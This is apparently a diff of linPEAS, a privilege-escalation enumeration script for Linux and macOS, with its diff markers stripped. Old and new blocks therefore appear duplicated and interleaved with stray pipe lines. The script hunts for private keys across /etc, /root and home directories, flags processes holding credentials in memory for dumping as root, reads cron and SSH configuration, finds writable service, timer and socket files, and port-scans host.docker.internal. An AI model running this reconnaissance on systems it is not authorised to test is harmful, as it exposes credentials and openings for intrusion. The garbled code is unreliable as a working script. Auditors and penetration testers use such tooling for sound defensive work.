if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi
|
||||
if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi
|
||||
if echo "$pslist" | grep -q "vsftpd"; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${SED_RED},"; else echo_not_found "vsftpd"; fi
|
||||
if echo "$pslist" | grep -q "apache2"; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${SED_RED},"; else echo_not_found "apache2"; fi
|
||||
if echo "$pslist" | grep -q "sshd:"; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${SED_RED},"; else echo_not_found "sshd"; fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PCS) Different processes 1 min
|
||||
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then
|
||||
print_2title "Different processes executed during 1 min (interesting is low number of repetitions)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#frequent-cron-jobs"
|
||||
temp_file=$(mktemp)
|
||||
if [ "$(ps -e -o command 2>/dev/null)" ]; then for i in $(seq 1 1250); do ps -e -o command >> "$temp_file" 2>/dev/null; sleep 0.05; done; sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]"; rm "$temp_file"; fi
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PCS) Cron
|
||||
print_2title "Cron jobs"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs"
|
||||
command -v crontab 2>/dev/null || echo_not_found "crontab"
|
||||
crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
||||
command -v incrontab 2>/dev/null || echo_not_found "incrontab"
|
||||
incrontab -l 2>/dev/null
|
||||
ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g"
|
||||
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
||||
crontab -l -u "$USER" 2>/dev/null | tr -d "\r"
|
||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths
|
||||
atq 2>/dev/null
|
||||
else
|
||||
print_2title "Cron jobs"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs"
|
||||
find "$SEARCH_IN_FOLDER" '(' -type d -or -type f ')' '(' -name "cron*" -or -name "anacron" -or -name "anacrontab" -or -name "incron.d" -or -name "incron" -or -name "at" -or -name "periodic" ')' -exec echo {} \; -exec ls -lR {} \;
|
||||
fi
|
||||
echo ""
|
||||
|
||||
#-- PCS) Files opened by processes belonging to other users
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Files opened by processes belonging to other users"
|
||||
print_info "This is usually empty because of the lack of privileges to read other user processes information"
|
||||
lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
||||
echo ""
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Third party LaunchAgents & LaunchDemons"
|
||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#launchd"
|
||||
ls -l /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ 2>/dev/null
|
||||
echo ""
|
||||
|
||||
print_2title "Writable System LaunchAgents & LaunchDemons"
|
||||
find /System/Library/LaunchAgents/ /System/Library/LaunchDaemons/ /Library/LaunchAgents/ /Library/LaunchDaemons/ | grep ".plist" | while read f; do
|
||||
program=""
|
||||
program=$(defaults read "$f" Program 2>/dev/null)
|
||||
if ! [ "$program" ]; then
|
||||
program=$(defaults read /Library/LaunchDaemons/MonitorHelper.plist ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2)
|
||||
fi
|
||||
if [ -w "$program" ]; then
|
||||
echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
|
||||
print_2title "StartupItems"
|
||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#startup-items"
|
||||
ls -l /Library/StartupItems/ /System/Library/StartupItems/ 2>/dev/null
|
||||
echo ""
|
||||
|
||||
print_2title "Login Items"
|
||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#login-items"
|
||||
osascript -e 'tell application "System Events" to get the name of every login item' 2>/dev/null
|
||||
echo ""
|
||||
|
||||
print_2title "SPStartupItemDataType"
|
||||
system_profiler SPStartupItemDataType
|
||||
echo ""
|
||||
|
||||
print_2title "Emond scripts"
|
||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#emond"
|
||||
ls -l /private/var/db/emondClients
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
#-- PCS) Processes with credentials inside memory
|
||||
print_2title "Processes with credentials in memory (root req)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#credentials-from-process-memory"
|
||||
if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi
|
||||
if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi
|
||||
if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi
|
||||
if echo "$pslist" | grep -q "vsftpd"; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${SED_RED},"; else echo_not_found "vsftpd"; fi
|
||||
if echo "$pslist" | grep -q "apache2"; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${SED_RED},"; else echo_not_found "apache2"; fi
|
||||
if echo "$pslist" | grep -q "sshd:"; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${SED_RED},"; else echo_not_found "sshd"; fi
|
||||
echo ""
|
||||
|
||||
#-- PCS) Different processes 1 min
|
||||
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then
|
||||
print_2title "Different processes executed during 1 min (interesting is low number of repetitions)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#frequent-cron-jobs"
|
||||
temp_file=$(mktemp)
|
||||
if [ "$(ps -e -o command 2>/dev/null)" ]; then for i in $(seq 1 1250); do ps -e -o command >> "$temp_file" 2>/dev/null; sleep 0.05; done; sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]"; rm "$temp_file"; fi
|
||||
echo ""
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PCS) Services
|
||||
if [ "$EXTRA_CHECKS" ]; then
|
||||
print_2title "Services"
|
||||
print_info "Search for outdated versions"
|
||||
(service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl"
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
#-- PCS) Cron
|
||||
print_2title "Cron jobs"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs"
|
||||
command -v crontab 2>/dev/null || echo_not_found "crontab"
|
||||
crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
||||
command -v incrontab 2>/dev/null || echo_not_found "incrontab"
|
||||
incrontab -l 2>/dev/null
|
||||
ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g"
|
||||
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
||||
crontab -l -u "$USER" 2>/dev/null | tr -d "\r"
|
||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths
|
||||
atq 2>/dev/null
|
||||
echo ""
|
||||
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Third party LaunchAgents & LaunchDemons"
|
||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#launchd"
|
||||
ls -l /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ 2>/dev/null
|
||||
echo ""
|
||||
|
||||
print_2title "Writable System LaunchAgents & LaunchDemons"
|
||||
find /System/Library/LaunchAgents/ /System/Library/LaunchDaemons/ /Library/LaunchAgents/ /Library/LaunchDaemons/ | grep ".plist" | while read f; do
|
||||
program=""
|
||||
program=$(defaults read "$f" Program 2>/dev/null)
|
||||
if ! [ "$program" ]; then
|
||||
program=$(defaults read /Library/LaunchDaemons/MonitorHelper.plist ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2)
|
||||
fi
|
||||
if [ -w "$program" ]; then
|
||||
echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
|
||||
print_2title "StartupItems"
|
||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#startup-items"
|
||||
ls -l /Library/StartupItems/ /System/Library/StartupItems/ 2>/dev/null
|
||||
echo ""
|
||||
|
||||
print_2title "Login Items"
|
||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#login-items"
|
||||
osascript -e 'tell application "System Events" to get the name of every login item' 2>/dev/null
|
||||
echo ""
|
||||
|
||||
print_2title "SPStartupItemDataType"
|
||||
system_profiler SPStartupItemDataType
|
||||
echo ""
|
||||
|
||||
print_2title "Emond scripts"
|
||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#emond"
|
||||
ls -l /private/var/db/emondClients
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PSC) systemd PATH
|
||||
print_2title "Systemd PATH"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#systemd-path-relative-paths"
|
||||
systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g"
|
||||
WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders")
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- PCS) Services
|
||||
if [ "$EXTRA_CHECKS" ]; then
|
||||
print_2title "Services"
|
||||
print_info "Search for outdated versions"
|
||||
(service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- PSC) systemd PATH
|
||||
print_2title "Systemd PATH"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#systemd-path-relative-paths"
|
||||
systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g"
|
||||
WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders")
|
||||
echo ""
|
||||
|
||||
#-- PSC) .service files
|
||||
#TODO: .service files in MACOS are folders
|
||||
print_2title "Analyzing .service files"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services"
|
||||
printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do
|
||||
if [ ! -O "$s" ]; then #Remove services that belongs to the current user
|
||||
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ]; then
|
||||
if [ ! -O "$s" ] || [ "$SEARCH_IN_FOLDER" ]; then #Remove services that belongs to the current user or if firmware see everything
|
||||
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
echo "$s" | sed -${E} "s,.*,${SED_RED_YELLOW},g"
|
||||
fi
|
||||
servicebinpaths=$(grep -Eo '^Exec.*?=[!@+-]*[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') #Get invoked paths
|
||||
@@ -165,17 +186,19 @@ done
|
||||
if [ ! "$WRITABLESYSTEMDPATH" ]; then echo "You can't write on systemd PATH" | sed -${E} "s,.*,${SED_GREEN},"; fi
|
||||
echo ""
|
||||
|
||||
#-- PSC) Timers
|
||||
print_2title "System timers"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
|
||||
(systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found
|
||||
echo ""
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PSC) Timers
|
||||
print_2title "System timers"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
|
||||
(systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- PSC) .timer files
|
||||
print_2title "Analyzing .timer files"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
|
||||
printf "%s\n" "$PSTORAGE_TIMER" | while read t; do
|
||||
if ! [ "$IAMROOT" ] && [ -w "$t" ]; then
|
||||
if ! [ "$IAMROOT" ] && [ -w "$t" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
echo "$t" | sed -${E} "s,.*,${SED_RED},g"
|
||||
fi
|
||||
timerbinpaths=$(grep -Po '^Unit=*(.*?$)' $t 2>/dev/null | cut -d '=' -f2)
|
||||
@@ -197,7 +220,7 @@ if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Analyzing .socket files"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
|
||||
printf "%s\n" "$PSTORAGE_SOCKET" | while read s; do
|
||||
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ]; then
|
||||
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
echo "Writable .socket file: $s" | sed "s,/.*,${SED_RED},g"
|
||||
fi
|
||||
socketsbinpaths=$(grep -Eo '^(Exec).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
|
||||
@@ -214,20 +237,26 @@ if ! [ "$IAMROOT" ]; then
|
||||
done
|
||||
done
|
||||
echo ""
|
||||
|
||||
print_2title "Unix Sockets Listening"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
|
||||
# Search sockets using netstat and ss
|
||||
unix_scks_list=$(ss -xlp -H state listening 2>/dev/null | grep -Eo "/.* " | cut -d " " -f1)
|
||||
if ! [ "$unix_scks_list" ];then
|
||||
unix_scks_list=$(ss -l -p -A 'unix' 2>/dev/null | grep -Ei "listen|Proc" | grep -Eo "/[a-zA-Z0-9\._/\-]+")
|
||||
fi
|
||||
if ! [ "$unix_scks_list" ];then
|
||||
unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2)
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Unix Sockets Listening"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
|
||||
# Search sockets using netstat and ss
|
||||
unix_scks_list=$(ss -xlp -H state listening 2>/dev/null | grep -Eo "/.* " | cut -d " " -f1)
|
||||
if ! [ "$unix_scks_list" ];then
|
||||
unix_scks_list=$(ss -l -p -A 'unix' 2>/dev/null | grep -Ei "listen|Proc" | grep -Eo "/[a-zA-Z0-9\._/\-]+")
|
||||
fi
|
||||
if ! [ "$unix_scks_list" ];then
|
||||
unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2)
|
||||
fi
|
||||
fi
|
||||
|
||||
# But also search socket files
|
||||
unix_scks_list2=$(find / -type s 2>/dev/null)
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
# But also search socket files
|
||||
unix_scks_list2=$(find / -type s 2>/dev/null)
|
||||
else
|
||||
unix_scks_list2=$(find "SEARCH_IN_FOLDER" -type s 2>/dev/null)
|
||||
fi
|
||||
|
||||
# Detele repeated dockets and check permissions
|
||||
(printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2") | sort | uniq | while read l; do
|
||||
@@ -238,10 +267,20 @@ if ! [ "$IAMROOT" ]; then
|
||||
if [ -w "$l" ];then
|
||||
perms="${perms}Write"
|
||||
fi
|
||||
|
||||
if [ "$EXTRA_CHECKS" ] && [ "$(command -v curl)" ]; then
|
||||
CANNOT_CONNECT_TO_SOCKET="$(curl -v --unix-socket "$l" --max-time 1 http:/linpeas 2>&1 | grep -i 'Permission denied')"
|
||||
if ! [ "$CANNOT_CONNECT_TO_SOCKET" ]; then
|
||||
perms="${perms} - Can Connect"
|
||||
else
|
||||
perms="${perms} - Cannot Connect"
|
||||
fi
|
||||
fi
|
||||
|
||||
if ! [ "$perms" ]; then echo "$l" | sed -${E} "s,$l,${SED_GREEN},g";
|
||||
else
|
||||
echo "$l" | sed -${E} "s,$l,${SED_RED},g"
|
||||
echo " └─(${RED}${perms}${NC})"
|
||||
echo " └─(${RED}${perms}${NC})" | sed -${E} "s,Cannot Connect,${SED_GREEN},g"
|
||||
# Try to contact the socket
|
||||
socketcurl=$(curl --max-time 2 --unix-socket "$s" http:/index 2>/dev/null)
|
||||
if [ $? -eq 0 ]; then
|
||||
@@ -260,7 +299,7 @@ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-b
|
||||
if [ "$PSTORAGE_DBUS" ]; then
|
||||
printf "%s\n" "$PSTORAGE_DBUS" | while read d; do
|
||||
for f in $d/*; do
|
||||
if ! [ "$IAMROOT" ] && [ -w "$f" ]; then
|
||||
if ! [ "$IAMROOT" ] && [ -w "$f" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
echo "Writable $f" | sed -${E} "s,.*,${SED_RED},g"
|
||||
fi
|
||||
|
||||
@@ -282,19 +321,21 @@ if [ "$PSTORAGE_DBUS" ]; then
|
||||
fi
|
||||
echo ""
|
||||
|
||||
print_2title "D-Bus Service Objects list"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus"
|
||||
dbuslist=$(busctl list 2>/dev/null)
|
||||
if [ "$dbuslist" ]; then
|
||||
busctl list | while read line; do
|
||||
echo "$line" | sed -${E} "s,$dbuslistG,${SED_GREEN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},";
|
||||
if ! echo "$line" | grep -qE "$dbuslistG"; then
|
||||
srvc_object=$(echo $line | cut -d " " -f1)
|
||||
srvc_object_info=$(busctl status "$srvc_object" 2>/dev/null | grep -E "^UID|^EUID|^OwnerUID" | tr '\n' ' ')
|
||||
if [ "$srvc_object_info" ]; then
|
||||
echo " -- $srvc_object_info" | sed "s,UID=0,${SED_RED},"
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "D-Bus Service Objects list"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus"
|
||||
dbuslist=$(busctl list 2>/dev/null)
|
||||
if [ "$dbuslist" ]; then
|
||||
busctl list | while read line; do
|
||||
echo "$line" | sed -${E} "s,$dbuslistG,${SED_GREEN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},";
|
||||
if ! echo "$line" | grep -qE "$dbuslistG"; then
|
||||
srvc_object=$(echo $line | cut -d " " -f1)
|
||||
srvc_object_info=$(busctl status "$srvc_object" 2>/dev/null | grep -E "^UID|^EUID|^OwnerUID" | tr '\n' ' ')
|
||||
if [ "$srvc_object_info" ]; then
|
||||
echo " -- $srvc_object_info" | sed "s,UID=0,${SED_RED},"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done
|
||||
else echo_not_found "busctl"
|
||||
done
|
||||
else echo_not_found "busctl"
|
||||
fi
|
||||
fi
|
||||
|
||||
@@ -155,6 +155,10 @@ if [ "$AUTO_NETWORK_SCAN" ]; then
|
||||
echo ""
|
||||
fi
|
||||
done
|
||||
|
||||
print_3title "Scanning top ports of host.docker.internal"
|
||||
(tcp_port_scan "host.docker.internal" "" | grep -A 1000 "Ports going to be scanned" | grep -v "Ports going to be scanned" | sort | uniq) 2>/dev/null
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
|
||||
@@ -105,7 +105,7 @@ fi
|
||||
echo ""
|
||||
|
||||
#-- UI) Doas
|
||||
if [ -f "/etc/doas.conf" ] || [ "$DEBUG" ]; then
|
||||
if [ "$(command -v doas 2>/dev/null)" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Checking doas.conf"
|
||||
doas_dir_name=$(dirname "$(command -v doas)" 2>/dev/null)
|
||||
if [ "$(cat /etc/doas.conf $doas_dir_name/doas.conf $doas_dir_name/../etc/doas.conf $doas_dir_name/etc/doas.conf 2>/dev/null)" ]; then
|
||||
|
||||
@@ -5,14 +5,14 @@
|
||||
NGINX_KNOWN_MODULES="ngx_http_geoip_module.so|ngx_http_xslt_filter_module.so|ngx_stream_geoip_module.so|ngx_http_image_filter_module.so|ngx_mail_module.so|ngx_stream_module.so"
|
||||
|
||||
#-- SI) Useful software
|
||||
if ! [ "SEARCH_IN_FOLDER" ]; then
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Useful software"
|
||||
for tool in $USEFUL_SOFTWARE; do command -v "$tool"; done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- SI) Search for compilers
|
||||
if ! [ "SEARCH_IN_FOLDER" ]; then
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Installed Compilers"
|
||||
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/");
|
||||
echo ""
|
||||
@@ -221,20 +221,30 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
hostsdenied="$(ls /etc/hosts.denied 2>/dev/null)"
|
||||
hostsallow="$(ls /etc/hosts.allow 2>/dev/null)"
|
||||
writable_agents=$(find /tmp /etc /home -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)
|
||||
else
|
||||
sshconfig="$(ls ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null)"
|
||||
hostsdenied="$(ls ${ROOT_FOLDER}etc/hosts.denied 2>/dev/null)"
|
||||
hostsallow="$(ls ${ROOT_FOLDER}etc/hosts.allow 2>/dev/null)"
|
||||
writable_agents=$(find ${ROOT_FOLDER} -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)
|
||||
fi
|
||||
|
||||
peass{SSH}
|
||||
|
||||
grep "PermitRootLogin \|ChallengeResponseAuthentication \|PasswordAuthentication \|UsePAM \|Port\|PermitEmptyPasswords\|PubkeyAuthentication\|ListenAddress\|ForwardAgent\|AllowAgentForwarding\|AuthorizedKeysFiles" /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | sed -${E} "s,PermitRootLogin.*es|PermitEmptyPasswords.*es|ChallengeResponseAuthentication.*es|FordwardAgent.*es,${SED_RED},"
|
||||
|
||||
if [ "$TIMEOUT" ]; then
|
||||
privatekeyfilesetc=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null)
|
||||
privatekeyfileshome=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOMESEARCH 2>/dev/null)
|
||||
privatekeyfilesroot=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /root 2>/dev/null)
|
||||
privatekeyfilesmnt=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /mnt 2>/dev/null)
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
if [ "$TIMEOUT" ]; then
|
||||
privatekeyfilesetc=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null)
|
||||
privatekeyfileshome=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOMESEARCH 2>/dev/null)
|
||||
privatekeyfilesroot=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /root 2>/dev/null)
|
||||
privatekeyfilesmnt=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /mnt 2>/dev/null)
|
||||
else
|
||||
privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) #If there is tons of files linpeas gets frozen here without a timeout
|
||||
privatekeyfileshome=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOME/.ssh 2>/dev/null)
|
||||
fi
|
||||
else
|
||||
privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) #If there is tons of files linpeas gets frozen here without a timeout
|
||||
privatekeyfileshome=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOME/.ssh 2>/dev/null)
|
||||
# If $SEARCH_IN_FOLDER lets just search for private keys in the whole firmware
|
||||
privatekeyfilesetc=$(timeout 120 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' "$ROOT_FOLDER" 2>/dev/null)
|
||||
fi
|
||||
|
||||
if [ "$privatekeyfilesetc" ] || [ "$privatekeyfileshome" ] || [ "$privatekeyfilesroot" ] || [ "$privatekeyfilesmnt" ] ; then
|
||||
@@ -267,7 +277,7 @@ if ssh-add -l 2>/dev/null | grep -qv 'no identities'; then
|
||||
ssh-add -l
|
||||
echo ""
|
||||
fi
|
||||
